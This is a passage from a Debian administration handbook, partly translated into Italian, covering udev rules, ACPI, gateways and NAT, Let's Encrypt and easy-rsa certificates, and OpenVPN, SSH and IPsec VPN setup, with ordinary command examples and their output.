looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc':

KERNEL=="sdc"

SUBSYSTEM=="block"

DRIVER==""

ATTR{hidden}=="0"

ATTR{events}=="media_change"

ATTR{ro}=="0"

ATTR{discard_alignment}=="0"

ATTR{removable}=="1"

ATTR{events_async}==""

ATTR{alignment_offset}=="0"

ATTR{capability}=="51"

ATTR{events_poll_msecs}=="-1"

ATTR{stat}=="     130        0     6328      435        0        0        0        0        0      252      252        0        0        0        0"

ATTR{size}=="15100224"

ATTR{range}=="16"

ATTR{ext_range}=="256"

ATTR{inflight}=="       0        0"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0':

[...]

ATTRS{max_sectors}=="240"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1':

KERNELS=="2-1"

SUBSYSTEMS=="usb"

DRIVERS=="usb"

ATTRS{bDeviceProtocol}=="00"

ATTRS{bNumInterfaces}==" 1"

ATTRS{busnum}=="2"

ATTRS{quirks}=="0x0"

ATTRS{authorized}=="1"

ATTRS{ltm_capable}=="no"

ATTRS{speed}=="480"

ATTRS{product}=="TF10"

ATTRS{manufacturer}=="TDK LoR"

[...]

ATTRS{serial}=="07032998B60AB777"

[...]

Per creare una nuova regola, è possibile utilizzare i test sulle variabili del device, così come quelle di uno dei device genitore. Il caso di cui sopra permette di creare due regole come queste:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk"

KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

Una volta che queste regole sono specificate in un file, chiamato ad esempio /etc/udev/rules.d/010_local.rules, si può semplicemente rimuovere e ricollegare la chiave USB. È quindi possibile vedere che /dev/usb_key/disk rappresenta il disco associato alla chiave USB e /dev/usb_key/part1 è la sua prima partizione.

APPROFONDIMENTI Debug della configurazione di udev

Come molti demoni, udevd memorizza i file di log in /var/log/daemon.log. Non è però molto dettagliato per impostazione predefinita e non è, di solito, sufficiente per capire cosa sta succedendo. Il comando udevadm control --log-priority=info aumenta il livello di dettaglio e risolve questo problema. Mentre invece udevadm control --log-priority=err torna al livello di dettaglio predefinito.

9.12. Gestione dell'energia: Advanced Configuration and Power Interface (ACPI)

Il tema della gestione energetica è spesso problematico. Infatti, per sospendere correttamente il computer è necessario che tutti i driver delle periferiche del computer sappiano come andare in stand-by, per poi riconfigurare correttamente i dispositivi al risveglio. Purtroppo, ci sono ancora alcuni dispositivi che non sono in grado di essere sospesi correttamente sotto Linux, perché i loro produttori non hanno fornito le specifiche necessarie.

Linux supporta ACPI (Advanced Configuration and Power Interface): lo standard più recente per la gestione dell'energia. Il pacchetto acpid fornisce un demone che cerca eventi legati alla gestione energetica (il passaggio tra l'alimentazione da rete e dalla batteria su un portatile, ecc.) e che può eseguire vari comandi in risposta.

ATTENZIONE Scheda grafica e standby

Quando lo standby non funziona correttamente è spesso per problemi con il driver della scheda grafica. In questo caso, è una buona idea testare l'ultima versione del server grafico X.org.

Dopo questa panoramica dei servizi di base comuni a molti sistemi Unix, ci concentreremo sull'ambiente delle macchine amministrate: la rete. Molti servizi sono necessari affinché la rete funzioni correttamente. Essi saranno discussi nel prossimo capitolo.

Capitolo 10. Infrastruttura di rete

Linux beneficia del notevole patrimonio di Unix nel campo delle reti, e Debian offre una gamma completa di strumenti per la loro creazione e gestione. Questo capitolo esamina questi strumenti.

10.1. Gateway

Un gateway è un sistema di connessione tra reti diverse. Questo termine si riferisce spesso al «punto di uscita» di una rete locale sul percorso obbligato per tutti gli indirizzi IP esterni. Il gateway è connesso a ciascuna delle reti che collega insieme, e agisce come un router per trasmettere i pacchetti IP tra le varie interfacce.

FONDAMENTALI Pacchetto IP

La maggior parte delle reti attuali utilizzano il protocollo IP (protocollo Internet: Internet Protocol). Questo protocollo segmenta i dati trasmessi in pacchetti di dimensioni limitate. Ogni pacchetto contiene, in aggiunta ai dati da trasmettere, un numero di dati necessari per il suo corretto instradamento.

FONDAMENTALI TCP/UDP

Molti programmi non gestiscono autonomamente i singoli pacchetti, anche se i dati che trasmettono viaggiano su IP, ma generalmente utilizzano TCP (protocollo di controllo trasmissione: Transmission Control Protocol). TCP è un livello sopra IP che consente la creazione di connessioni dedicate a flussi di dati tra due punti. I programmi in seguito visualizzano solo un punto di ingresso in cui i dati possono essere trasmessi con la garanzia che gli stessi dati risulteranno senza perdita (e nella stessa sequenza) nel punto di uscita all'altra estremità della connessione. Benché possono accadere molti tipi di errori negli strati inferiori, questi vengono compensati da TCP: i pacchetti persi vengono ritrasmessi, ed i pacchetti in arrivo nell'ordine sbagliato (per esempio, se hanno usato percorsi differenti) vengono riordinati in modo appropriato.

Un altro protocollo che si basa sull'IP è UDP (User Datagram Protocol). Al contrario di TCP, è orientato al pacchetto di dati (packet-oriented). I suoi obiettivi sono diversi: lo scopo di UDP è solo quello di trasmettere un pacchetto da un'applicazione all'altra. Il protocollo non tenta di compensare la perdita di pacchetti possibile nel percorso, né garantisce che i pacchetti vengano ricevuti nello stesso ordine in cui sono stati inviati. Il vantaggio principale di questo protocollo è che la latenza è notevolmente migliorata, in quanto la perdita di un singolo pacchetto non ritarda la ricezione di tutti i pacchetti successivi fino quando quello perso viene ritrasmesso.

Sia TCP che UDP coinvolgono le porte, che sono «numeri di interno», per stabilire una comunicazione con una determinata applicazione su una macchina. Questo concetto permette di mantenere comunicazioni multiple diverse in parallelo con lo stesso destinatario, visto che possono essere distinte in base al numero di porta.

Alcuni di questi numeri di porta — standardizzati da IANA (Internet Assigned Numbers Authority) — sono «ben noti» per essere associati ai servizi di rete. Per esempio, la porta TCP 25 viene generalmente utilizzata dal server di posta elettronica.

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

Quando una rete locale utilizza un intervallo di indirizzi privati (non instradabili su Internet), il gateway deve attuare il mascheramento degli indirizzi in modo che le macchine sulla rete possano comunicare con il mondo esterno. L'operazione di mascheramento è una sorta di proxy operante a livello di rete: ogni connessione in uscita da una macchina interna viene sostituita con una connessione dal gateway stesso (in quanto il gateway ha un indirizzo instradabile verso l'esterno), i dati che passano dalla connessione mascherata vengono inviati alla nuova, ed i dati che ritornano in risposta vengono inviati attraverso la connessione mascherata alla macchina interna. Il gateway utilizza una serie di porte TCP dedicate a questo scopo, di solito con numeri molto elevati (oltre 60000). Ogni connessione proveniente da una macchina interna appare quindi al mondo esterno, come una connessione proveniente da una di queste porte riservate.

CULTURA Intervallo di indirizzi privati

La RFC 1918 definisce tre intervalli di indirizzi IPv4 che non possono essere instradati su Internet ma utilizzati solo in reti locali. Il primo, 10.0.0.0/8 (vedere il riquadro FONDAMENTALI Concetti di rete essenziali (Ethernet, indirizzo IP, sottorete, broadcast)), è un intervallo di classe A (con 2^24 indirizzi IP). Il secondo, 172.16.0.0/12, raccoglie 16 intervalli di classe B (da 172.16.0.0/16 a 172.31.0.0/16), ciascuno contenente 2^16 indirizzi IP. Infine, 192.168.0.0/16 è un intervallo di classe B (che raggruppa di 256 intervalli di classe C, da 192.168.0.0/24 a 192.168.255.0/24, con 256 indirizzi IP ciascuno).

→ http://www.faqs.org/rfcs/rfc1918.html

Il gateway può anche eseguire due tipi di Network Address Translation (Traduzione degli Indirizzi di Rete o abbreviato NAT). Il primo tipo, Destination NAT (DNAT) consiste nel modificare l'indirizzo IP di destinazione (e/o la porta TCP o UDP) per una connessione (generalmente) in ingresso. Il meccanismo di controllo e tracciatura del collegamento modifica anche i pacchetti successivi nella stessa connessione per assicurare la continuità nella comunicazione. Il secondo tipo di NAT è Source NAT (SNAT), di cui è un caso particolare il masquerading (mascheramento). SNAT modifica l'indirizzo IP sorgente (e/o la porta TCP o UDP) del pacchetto (generalmente) in uscita. Come per DNAT, tutti i pacchetti nella connessione sono opportunamente gestiti dal meccanismo di tracciamento della connessione stessa. Si noti che NAT è rilevante solo per IPv4 e il suo limitato spazio di indirizzi; in IPv6, l'ampia disponibilità di indirizzi riduce notevolmente l'utilità di NAT, consentendo a tutti gli indirizzi "interni" di essere direttamente instradabili su Internet (ciò non implica che le macchine interne siano accessibili, in quanto i firewall intermedi sono in grado di filtrare il traffico).

FONDAMENTALI Port forwarding

Un'applicazione concreta di DNAT è il port forwarding. Le connessioni in ingresso su una determinata porta di una macchina vengono inoltrate verso una porta su un'altra macchina. Tuttavia esistono altre soluzioni tecniche che possono ottenere un risultato simile, anche se, soprattutto a livello di applicazione con ssh (vedere la Sezione 9.2.1.3, «Creazione di tunnel cifrati con il port forwarding» ) o redir.

Basta teoria, andiamo sul pratico. Trasformare un sistema Debian in un gateway è una questione semplice, basta attivare l'apposita opzione nel kernel Linux, mediante il filesystem virtuale /proc/:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

Questa opzione può anche essere attivata automaticamente all'avvio, se /etc/sysctl.conf imposta l'opzione net.ipv4.conf.default.forwarding a 1.

Esempio 10.1. Il file /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1

net.ipv4.conf.default.rp_filter = 1

net.ipv4.tcp_syncookies = 1

Lo stesso effetto può essere ottenuto per IPv6 semplicemente sostituendo ipv4 con ipv6 nel comando manuale e modificando la riga net.ipv6.conf.all.forwarding nel file /etc/sysctl.conf.

Abilitare il mascheramento IPv4 è un'operazione leggermente più complessa che coinvolge la configurazione del firewall netfilter.

Similmente, l'utilizzo di NAT (per IPv4) richiede configurare netfilter. Dato che lo scopo primario di questo componente è il filtraggio dei pacchetti, i dettagli sono elencati nel Capitolo 14: «Sicurezza» (vedere la Sezione 14.2, «Firewall o filtraggio dei pacchetti»).

10.2. X.509 certificates

Certificates are an important building block of many network services built on cryptographic protocols, when they need some sort of central authentication.

Among those protocols, SSL (Secure Socket Layer) was invented by Netscape to secure connections to web servers. It was later standardized by IETF under the acronym TLS (Transport Layer Security). Since then TLS continued to evolve, and nowadays SSL is deprecated due to multiple design flaws that have been discovered.

The TLS protocol aims primarily to provide privacy and data integrity between two or more communicating computer applications. The most common case on the Internet is the communication between a client (e.g. a web browser) and a server.

A key par is needed for the exchange of information, which involves a public key that includes information about the identity of the owner and matches a private key. The private key must be kept secret, otherwise the security is compromised. However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.

You can implement a CA (as described in Sezione 10.2.2, «Infrastruttura a chiave pubblica: easy-rsa»), but if you intend to use the certificate for a website, you need to rely on a trusted CA. The prices vary significantly, but it is possible to implement great security spending little to no money.

10.2.1. Creating gratis trusted certificates

Many programs create and use snakeoil certificates by default (see sidebar SICUREZZA Certificati SSL Snake oil). Fortunately the certbot package brings everything we need to create our own trusted certificates, provided by the "Lets Encrypt" initiative (see sidebar CULTURE The Let's Encrypt Initiative), which can also be used for mail transport agents (Postfix) and mail delivery agents (Dovecot, Cyrus, etc.).

The Falcot administrators just want to create a certificate for their website, which runs on Apache. There is a convenient Apache plugin for certbot that automatically edits the Apache configuration to serve the obtained certificate, so they make use of it:

# apt install python-certbot-apache

[...]

# certbot --apache

Saving debug log to /var/log/letsencrypt/letsencrypt.log

Plugins selected: Authenticator apache, Installer apache

Enter email address (used for urgent renewal and security notices) (Enter 'c' to

cancel): admin@falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Please read the Terms of Service at

https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must

agree in order to register with the ACME server at

https://acme-v02.api.letsencrypt.org/directory

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(A)gree/(C)ancel: A

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Would you be willing to share your email address with the Electronic Frontier

Foundation, a founding partner of the Let's Encrypt project and the non-profit

organization that develops Certbot? We'd like to send you email about our work

encrypting the web, EFF news, campaigns, and ways to support digital freedom.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

(Y)es/(N)o: N

No names were found in your configuration files. Please enter in your domain

name(s) (comma and/or space separated)  (Enter 'c' to cancel): falcot.com

Obtaining a new certificate

Performing the following challenges:

http-01 challenge for falcot.com

Enabled Apache rewrite module

Waiting for verification...

Cleaning up challenges

Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf

Enabled Apache socache_shmcb module

Enabled Apache ssl module

Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf

Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf

Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

1: No redirect - Make no further changes to the webserver configuration.

2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for

new sites, or if you're confident your site works on HTTPS. You can undo this

change by editing your web server's configuration.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2

Enabled Apache rewrite module

Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Congratulations! You have successfully enabled https://falcot.com

You should test your configuration at:

https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

IMPORTANT NOTES:

- Congratulations! Your certificate and chain have been saved at:

/etc/letsencrypt/live/falcot.com/fullchain.pem

Your key file has been saved at:

/etc/letsencrypt/live/falcot.com/privkey.pem

Your cert will expire on 2020-06-04. To obtain a new or tweaked

version of this certificate in the future, simply run certbot again

with the "certonly" option. To non-interactively renew *all* of

your certificates, run "certbot renew"

- Your account credentials have been saved in your Certbot

configuration directory at /etc/letsencrypt. You should make a

secure backup of this folder now. This configuration directory will

also contain certificates and private keys obtained by Certbot so

making regular backups of this folder is ideal.

- If you like Certbot, please consider supporting our work by:

Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate

Donating to EFF:                    https://eff.org/donate-le

CULTURE The Let's Encrypt Initiative

The Let's Encrypt initiative is a joint effort to create a free, automated, and open certificate authority (CA), run for the public's benefit. It is supported by the EFF and the Linux Foundation. The initiative provides an automated tool for acquiring and renewing certificates. This reduces the amount of manual effort involved, especially if multiple sites and domains must be managed. The certificates can also be used for SIP, XMPP, WebSockets and TURN servers. Usage of the service requires control over the DNS information of the domain in question (domain validation).

→ https://letsencrypt.org/how-it-works/

If you would rather keep the server running during the certificate creation, you can use the webroot plugin to get the certificate with the arguments certonly and --webroot. You would have to specify a --webroot-path (abbreviated -w), which should contain the files served. The command looks as follows:

# certbot certonly --webroot -w /var/www/html -d www.DOMAIN.com -d DOMAIN.com

You need to restart all services using the certificates that you have created.

The certificates created are so called short-life certificates, which are valid for 90 days and must therefor be renewed every once in three months using the certbot renew command. However, we shouldn't renew every certificate manually, but automatically. A basic cron job is included by certbot in /etc/cron.d/certbot. To ensure that certificates can be automatically renewed, you can execute certbot renew --dry-run.

10.2.2. Infrastruttura a chiave pubblica: easy-rsa

It is also possible to create our own CA, for that we will use the RSA algorithm, widely used in public-key cryptography. It involves a “key pair”, comprised of a private and a public key. The two keys are closely linked to each other, and their mathematical properties are such that a message encrypted with the public key can only be decrypted by someone knowing the private key, which ensures confidentiality. In the opposite direction, a message encrypted with the private key can be decrypted by anyone knowing the public key, which allows authenticating the origin of a message since only someone with access to the private key could generate it. When associated with a digital hash function (MD5, SHA1, or a more recent variant), this leads to a signature mechanism that can be applied to any message.

Since public CAs only emit certificates in exchange for a (hefty) fee, it is also possible to create a private certification authority within the company. The easy-rsa package provides tools to serve as an X.509 certification infrastructure, implemented as a set of scripts using the openssl command.

ALTERNATIVE GnuTLS

GnuTLS can also be used to generate a CA, and deal with other technologies around the TLS, DTLS and SSL protocols.

The package gnutls-bin contains the command-line utilities. It is also useful to install the gnutls-doc package, which includes extensive documentation.

Gli amministratori della Falcot Corp utilizzano questo strumento per creare i certificati richiesti, sia per il server che per i client. Questo permette una configurazione simile di tutti i client, dato che dovranno essere impostati solo per considerare attendibili i certificati provenienti dalla CA locale di Falcot. Questa CA crea il primo certificato; a tal fine, gli amministratori impostano in un luogo appropriato la directory con i file richiesti per la CA, preferibilmente su una macchina non connessa alla rete, per ridurre il rischio di furto della chiave privata della CA.

$ make-cadir pki-falcot

$ cd pki-falcot

They then store the required parameters into the vars file, which can be uncommented and edited:

$ vim vars

$ grep EASYRSA vars

if [ -z "$EASYRSA_CALLER" ]; then

# easyrsa.  More specific variables for specific files (e.g., EASYRSA_SSL_CONF)

#set_var EASYRSA "${0%/*}"

#set_var EASYRSA_OPENSSL "openssl"

#set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe"

#set_var EASYRSA_PKI "$PWD/pki"

#set_var EASYRSA_DN "cn_only"

#set_var EASYRSA_REQ_COUNTRY "FR"

#set_var EASYRSA_REQ_PROVINCE "Loire"

#set_var EASYRSA_REQ_CITY "Saint-Étienne"

#set_var EASYRSA_REQ_ORG "Falcot Corp"

#set_var EASYRSA_REQ_EMAIL "admin@falcot.com"

#set_var EASYRSA_REQ_OU "Certificate authority"

#set_var EASYRSA_KEY_SIZE 2048

#set_var EASYRSA_ALGO rsa

#set_var EASYRSA_CURVE secp384r1

#set_var EASYRSA_CA_EXPIRE 3650

#set_var EASYRSA_CERT_EXPIRE 1080

#set_var EASYRSA_CERT_RENEW 30

#set_var EASYRSA_CRL_DAYS 180

#set_var EASYRSA_NS_SUPPORT "no"

#set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate"

#set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp"

# when undefined here, default behaviour is to look in $EASYRSA_PKI first, then

# fallback to $EASYRSA for the 'x509-types' dir.  You may override this

#set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types"

# EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA

#set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf"

#set_var EASYRSA_REQ_CN "ChangeMe"

#set_var EASYRSA_DIGEST "sha256"

#set_var EASYRSA_BATCH ""

$

Now we prepare the public key infrastructure directory with the following command:

$ ./easyrsa init-pki

Note: using Easy-RSA configuration from: ./vars

init-pki complete; you may now create a CA or requests.

Your newly created PKI dir is: /home/roland/pki-falcot/pki

The next step is the creation of the CA's key pair itself (the two parts of the key pair will be stored under pki/ca.crt and pki/private/ca.key during this step). We can add the option nopass to avoid entering a password each time the private key is used:

$ ./easyrsa build-ca nopass

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019

Generating RSA private key, 2048 bit long modulus (2 primes)

......................................................................................+++++

......................+++++

e is 65537 (0x010001)

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [Easy-RSA CA]:

CA creation complete and you may now import and sign cert requests.

Your new CA certificate file for publishing is at:

/home/roland/pki-falcot/pki/ca.crt

The certificate can now be created, as well as the Diffie-Hellman parameters required for the server side of an SSL/TLS connection. They want to use it for a VPN server (see section Sezione 10.3, «Rete privata virtuale (VPN)») that is identified by the DNS name vpn.falcot.com; this name is re-used for the generated key files (keys/vpn.falcot.com.crt for the public certificate, keys/vpn.falcot.com.key for the private key):

$ ./easyrsa gen-req vpn.falcot.com nopass

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019

Generating a RSA private key

.................................................................................+++++

........+++++

writing new private key to '/home/roland/pki-falcot/pki/private/vpn.falcot.com.key.E5c3RGJBUd'

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Common Name (eg: your user, host, or server name) [vpn.falcot.com]:

Keypair and certificate request completed. Your files are:

req: /home/roland/pki-falcot/pki/reqs/vpn.falcot.com.req

key: /home/roland/pki-falcot/pki/private/vpn.falcot.com.key

$ ./easyrsa sign-req server vpn.falcot.com

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019

You are about to sign the following certificate.

Please check over the details shown below for accuracy. Note that this request

has not been cryptographically verified. Please be sure it came from a trusted

source or that you have verified the request checksum with the sender.

Request subject, to be signed as a server certificate for 1080 days:

subject=

commonName                = vpn.falcot.com

Type the word 'yes' to continue, or any other input to abort.

Confirm request details: yes

Using configuration from /home/roland/pki-falcot/pki/safessl-easyrsa.cnf

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'vpn.falcot.com'

Certificate is to be certified until Jun 14 10:44:44 2022 GMT (1080 days)

Write out database with 1 new entries

Data Base Updated

Certificate created at: /home/roland/pki-falcot/pki/issued/vpn.falcot.com.crt

$ ./easyrsa gen-dh

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b  26 Feb 2019

Generating DH parameters, 2048 bit long safe prime, generator 2

This is going to take a long time

[…]

DH parameters of size 2048 created at /home/roland/pki-falcot/pki/dh.pem

Il passo seguente crea i certificati per i client VPN, è richiesto un certificato per ogni computer o persona autorizzata ad usare la VPN:

$ ./easyrsa build-client-full JoeSmith nopass

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1d  10 Sep 2019

Generating a RSA private key

.......................................................+++++

...........................+++++

writing new private key to '/root/pki-falcot/pki/private/JoeSmith.key.Tgr8kk0a6a'

-----

Using configuration from /root/pki-falcot/pki/safessl-easyrsa.cnf

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName            :ASN.1 12:'JoeSmith'

Certificate is to be certified until Feb 20 04:52:43 2023 GMT (1080 days)

Write out database with 1 new entries

Data Base Updated

10.3. Rete privata virtuale (VPN)

Una rete privata virtuale (VPN in breve) è un modo per collegare due diverse reti locali attraverso Internet per mezzo di un tunnel che, per mantenere la riservatezza, di solito è criptato. Le VPN vengono spesso usate per integrare una macchina remota nella rete locale di un'azienda.

Several tools provide this functionality. OpenVPN is an efficient solution, easy to deploy and maintain, based on SSL/TLS. Another possibility is using IPsec to encrypt IP traffic between two machines; this encryption is transparent, which means that applications running on these hosts need not be modified to take the VPN into account. SSH can also be used to provide a VPN, in addition to its more conventional features. Finally, a VPN can be established using Microsoft's PPTP protocol. Other solutions exist, but are beyond the focus of this book.

10.3.1. OpenVPN

OpenVPN è un software dedicato alla creazione di reti private virtuali. La sua configurazione prevede la creazione di interfacce di rete virtuali sul server VPN e sul/sui client; sono supportate entrambe le interfacce tun (per tunnel a livello IP) e tap (per tunnel a livello di Ethernet). In pratica, generalmente vengono utilizzate le interfacce tun tranne quando i client VPN vengono integrati nella rete locale del server per mezzo di un bridge (ponte) Ethernet.

OpenVPN si basa su OpenSSL per tutta la crittografia SSL/TLS e le funzioni associate (riservatezza, autenticazione, integrità, non rifiuto). Può essere configurato sia con una chiave privata condivisa che con certificati X.509 basati su un'infrastruttura a chiave pubblica. Quest'ultima configurazione è fortemente preferibile in quanto permette una maggiore flessibilità di fronte a un numero crescente di utenti in roaming che accedono alla VPN.

10.3.1.1. Configurazione del server OpenVPN

After all certificates have been created (follow the instructions from Sezione 10.2.2, «Infrastruttura a chiave pubblica: easy-rsa»), they need to be copied where appropriate: the root certificate's public key (pki/ca.crt) will be stored on all machines (both server and clients) as /etc/ssl/certs/Falcot_CA.crt. The server's certificate is installed only on the server (pki/issued/vpn.falcot.com.crt goes to /etc/ssl/certs/vpn.falcot.com.crt, and pki/private/vpn.falcot.com.key goes to /etc/ssl/private/vpn.falcot.com.key with restricted permissions so that only the administrator can read it), with the corresponding Diffie-Hellman parameters (pki/dh.pem) installed to /etc/openvpn/dh.pem. Client certificates are installed on the corresponding VPN client in a similar fashion.

10.3.1.2. Configurazione del server OpenVPN

By default, the OpenVPN initialization script tries starting all virtual private networks defined in /etc/openvpn/*.conf. Setting up a VPN server is therefore a matter of storing a corresponding configuration file in this directory. A good starting point is /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, which leads to a rather standard server. Of course, some parameters need to be adapted: ca, cert, key and dh need to describe the selected locations (respectively, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key and /etc/openvpn/dh.pem). The server 10.8.0.0 255.255.255.0 directive defines the subnet to be used by the VPN; the server uses the first IP address in that range (10.8.0.1) and the rest of the addresses are allocated to clients.

With this configuration, starting OpenVPN creates the virtual network interface, usually under the tun0 name. However, firewalls are often configured at the same time as the real network interfaces, which happens before OpenVPN starts. Good practice therefore recommends creating a persistent virtual network interface, and configuring OpenVPN to use this pre-existing interface. This further allows choosing the name for this interface. To this end, openvpn --mktun --dev vpn --dev-type tun creates a virtual network interface named vpn with type tun; this command can easily be integrated in the firewall configuration script, or in an up directive of the /etc/network/interfaces file, or a udev rule can be added to that end. The OpenVPN configuration file must also be updated accordingly, with the dev vpn and dev-type tun directives.

Salvo ulteriori modifiche, i client VPN possono accedere solo al server VPN stesso attraverso l'indirizzo 10.8.0.1. Per fornire ai client l'accesso alla rete locale (192.168.0.0/24) è necessario aggiungere una direttiva push route 192.168.0.0 255.255.255.0 nella configurazione di OpenVPN, in questo modo i client VPN ottengono automaticamente un percorso di rete che gli consente di raggiungere questa rete attraverso la VPN. Inoltre, le macchine sulla rete locale devono anche essere informate che il percorso verso la VPN passa attraverso il server VPN (questo funziona automaticamente quando il server VPN è installato sul gateway). In alternativa, il server VPN può essere configurato per eseguire il mascheramento IP in modo che le connessioni provenienti dai client VPN figurino invece come provenienti dal server VPN (vedere la Sezione 10.1, «Gateway»).

10.3.1.3. Configurazione del client OpenVPN

Anche l'impostazione di un client OpenVPN richiede la creazione di un file di configurazione in /etc/openvpn/. Una configurazione standard può essere ottenuta usando /usr/share/doc/openvpn/examples/sample-config-files/client.conf come punto di partenza. La direttiva remote vpn.falcot.com 1194 indica l'indirizzo e la porta del server OpenVPN. Le direttive ca, cert e key devono essere modificate per indicare le posizioni dei file di chiave.

If the VPN should not be started automatically on boot, set the AUTOSTART directive to none in the /etc/default/openvpn file. Starting or stopping a given VPN connection is always possible with the commands systemctl start openvpn@name and systemctl stop openvpn@name (where the connection name matches the one defined in /etc/openvpn/name.conf).

Il pacchetto network-manager-openvpn-gnome contiene un'estensione per Network Manager (vedere la Sezione 8.2.5, «Automatizzare la configurazione della rete per gli utenti in roaming») che consente la gestione delle reti private virtuali di OpenVPN. Questo permette ad ogni utente di configurare le connessioni OpenVPN graficamente e di controllarle tramite l'icona di gestione della rete.

10.3.2. Rete privata virtuale con SSH

There are actually two ways of creating a virtual private network with SSH. The historic one involves establishing a PPP layer over the SSH link. This method is described in a HOWTO document:

→ https://www.tldp.org/HOWTO/ppp-ssh/

Il secondo metodo è più recente, ed è stato introdotto con OpenSSH 4.3. OpenSSH ora può creare interfacce di rete virtuali (tun*) su entrambi i lati di una connessione SSH, e queste interfacce virtuali possono essere configurate esattamente come se fossero interfacce fisiche. Il sistema di tunneling deve essere prima abilitato impostando PermitTunnel a «yes» nel file di configurazione del server SSH (/etc/ssh/sshd_config). Nello stabilire la connessione SSH, la creazione di un tunnel deve essere esplicitamente richiesta con l'opzione -w any:any (any può essere sostituito con il numero desiderato per il dispositivo tun). Questo richiede che l'utente disponga dei privilegi di amministratore su entrambi i lati, così da poter creare il dispositivo di rete (in altre parole, la connessione deve essere stabilita come root).

Entrambi i metodi, permettono di implementare facilmente la creazione di una rete privata virtuale su SSH. Tuttavia, non nella maniera più efficiente: in particolare le VPN che forniscono non sono adatte per elevati livelli di traffico.

The explanation is that when a TCP/IP stack is encapsulated within a TCP/IP connection (for SSH), the TCP protocol is used twice, once for the SSH connection and once within the tunnel. This leads to problems, especially due to the way TCP adapts to network conditions by altering timeout delays. The following site describes the problem in more detail:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs over SSH should therefore be restricted to one-off tunnels with no performance constraints.

10.3.3. IPSec

IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the libreswan package or the strongswan package. Here we describe briefly the libreswan option.

First, we install the libreswan package. In concrete terms, each host's /etc/ipsec.conf contains the parameters for IPsec tunnels (or Security Associations, in the IPsec terminology) that the host is concerned with. There are many configuration examples in /usr/share/doc/libreswan/, but Libreswan's online documentation has more examples with explanations:

→ https://libreswan.org/wiki/

The IPsec service can be controlled with systemctl; for example, systemctl start ipsec will start the IPsec service.

A dispetto del suo status di riferimento, la complessità della configurazione di IPsec limita il suo utilizzo nella pratica. Soluzioni basate su OpenVPN verranno generalmente preferite quando i tunnel richiesti non sono né troppi né troppo dinamici.

ATTENZIONE IPsec e NAT

